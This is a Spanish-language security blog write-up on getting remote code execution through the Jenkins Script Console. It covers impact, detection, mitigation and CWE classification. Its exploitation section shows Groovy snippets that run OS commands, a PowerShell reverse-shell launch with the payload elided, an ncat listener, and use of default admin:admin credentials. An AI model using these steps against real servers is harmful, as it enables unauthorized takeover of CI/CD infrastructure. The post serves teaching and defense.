cd ~/blog

~/vulns/jenkins-script-console-rce.md

Jenkins Script Console RCE

rce 18-06-2026
JenkinsGroovyRCE

~2 min de lectura


1. Descripción técnica del ataque

Jenkins es un servidor de integración continua muy extendido. Incluye una Script Console (/script o, por nodo, /computer/<nodo>/script) que permite ejecutar scripts Groovy directamente sobre la JVM del controlador, con fines de administración y depuración.

Groovy puede invocar APIs de Java, lo que incluye ejecutar comandos del sistema operativo. Por tanto, cualquier usuario con acceso a la Script Console (típicamente administradores) puede lograr ejecución remota de código con los privilegios del usuario que ejecuta Jenkins —que en muchas instalaciones Windows es NT AUTHORITY\SYSTEM y en Linux el usuario jenkins.

No es una vulnerabilidad del software en sí, sino el abuso de una funcionalidad legítima habilitado por una mala configuración: credenciales débiles/por defecto o la consola expuesta sin autenticación adecuada.

2. Impacto de la vulnerabilidad

  • RCE con los privilegios del servicio Jenkins (a menudo SYSTEM en Windows → compromiso total inmediato).
  • Acceso a credenciales almacenadas en Jenkins (secretos de despliegue, tokens, claves), facilitando movimiento lateral.
  • Pivote hacia toda la infraestructura de CI/CD.

3. Historia y evolución

  • La Script Console existe desde hace muchas versiones de Jenkins como herramienta de administración.
  • El vector clásico es el uso de credenciales por defecto/débiles (admin:admin) o paneles expuestos a Internet.
  • Está integrado en Metasploit (exploit/multi/http/jenkins_script_console) y es uno de los caminos más habituales en CTFs y pentests con Jenkins.

4. Factores que la hacen posible

  1. Acceso a la Script Console (/script), normalmente tras autenticarse con el rol de administrador.
  2. Credenciales débiles, por defecto o ausentes, o autorización mal configurada que permita el acceso.
  3. La consola Groovy habilitada (lo está por defecto para administradores).

5. Detección

  • Identificar Jenkins:
nmap -sCV -p8080 target      # Jetty / Jenkins
  • Acceder a http://target:8080/ y probar credenciales por defecto; comprobar el acceso a /manage/script o /script.
  • En CTFs el servicio puede presentarse tras un Jetty genérico; la ruta /manage/script confirma la Script Console.

6. Mitigación

  1. Cambiar las credenciales por defecto y aplicar contraseñas fuertes + 2FA.
  2. No exponer Jenkins a redes no confiables; situarlo tras VPN/proxy autenticado.
  3. Restringir el acceso a la Script Console mediante la matriz de autorización (solo administradores estrictamente necesarios).
  4. Ejecutar Jenkins con un usuario sin privilegios (no SYSTEM/root) para limitar el impacto.

7. Ejemplo de explotación real

Tras autenticarnos (p. ej. admin:admin), en /manage/script ejecutamos un script Groovy que confirma el contexto:

def comando = "cmd /c whoami"
def proceso = comando.execute()
proceso.waitFor()
println proceso.text
// Salida: nt authority\system

Y lanzamos una reverse shell de PowerShell:

def comando = 'powershell -NoP -NonI -W Hidden -Command "..."'
def process = comando.execute()
process.waitFor()
println "pwned!"
 ncat -nlvp 1234
Ncat: Connection from target
PS C:\Program Files\Jenkins> whoami
nt authority\system

8. Clasificación

  • Tipo: Abuso de funcionalidad / Code Injection → Remote Code Execution
  • CWE:
    • CWE-94 – Improper Control of Generation of Code (Code Injection)
    • CWE-1392 / CWE-1393 – Use of Default / Weak Credentials

9. Resumen

La Script Console de Jenkins ejecuta Groovy sobre la JVM del controlador, lo que permite ejecutar comandos del SO. Con credenciales débiles o acceso indebido, se obtiene RCE con los privilegios de Jenkins (frecuentemente SYSTEM). La defensa es endurecer credenciales, restringir el acceso a la consola y ejecutar el servicio con mínimo privilegio. Relacionado con Tomcat Manager WAR Deploy RCE como abuso de paneles de administración.

// relacionados